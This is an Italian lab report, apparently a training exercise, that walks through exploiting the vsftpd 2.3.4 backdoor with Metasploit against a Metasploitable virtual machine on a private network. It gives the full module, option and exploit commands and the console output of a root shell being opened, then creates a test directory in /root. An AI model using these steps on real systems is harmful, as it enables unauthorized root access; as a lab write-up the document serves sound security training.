

Report Attacco con Metasploit

Per effettuare questo attacco abbiamo utilizzato una vulnerabilità del servizio **vsftpd** tramite l'utilizzo del framework Metasploit. Proprio grazie a quest'ultimo, eseguendo il comando **search vsftpd**, abbiamo scoperto una vulnerabilità riguardante una backdoor.

Per sfruttare questa vulnerabilità abbiamo utilizzato il seguente comando:

use exploit/unix/ftp/vsftpd_234_backdoor

e successivamente abbiamo eseguito il comando **show options** per capire quale input mancasse al nostro exploit.

Una volta compreso che mancasse il bersaglio target, lo abbiamo inserito usando il comando **set RHOSTS 192.168.1.149** come vediamo in figura.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.50.100:41291 -> 192.168.1.149:6200)
    at 2024-03-04 08:23:04 -0500

ftp>
```

A questo punto è tutto pronto ed eseguiamo il comando **exploit**.

Come vediamo, la sessione è stata aperta e abbiamo il controllo della macchina Metasploitable da remoto.

A questo punto ci spostiamo nella directory "root" come richiede l'esercizio:

```
cd /root
ls
Desktop
reset_logs.sh
vnc.log
mkdir test_metasploit
```

e tramite il comando **mkdir** creiamo la directory test_metasploit.

```
ls
Desktop
reset_logs.sh
test_metasploit
vnc.log
█
```

Come vediamo da questo momento la directory è stata creata e l'esercizio è stato portato a termine con successo.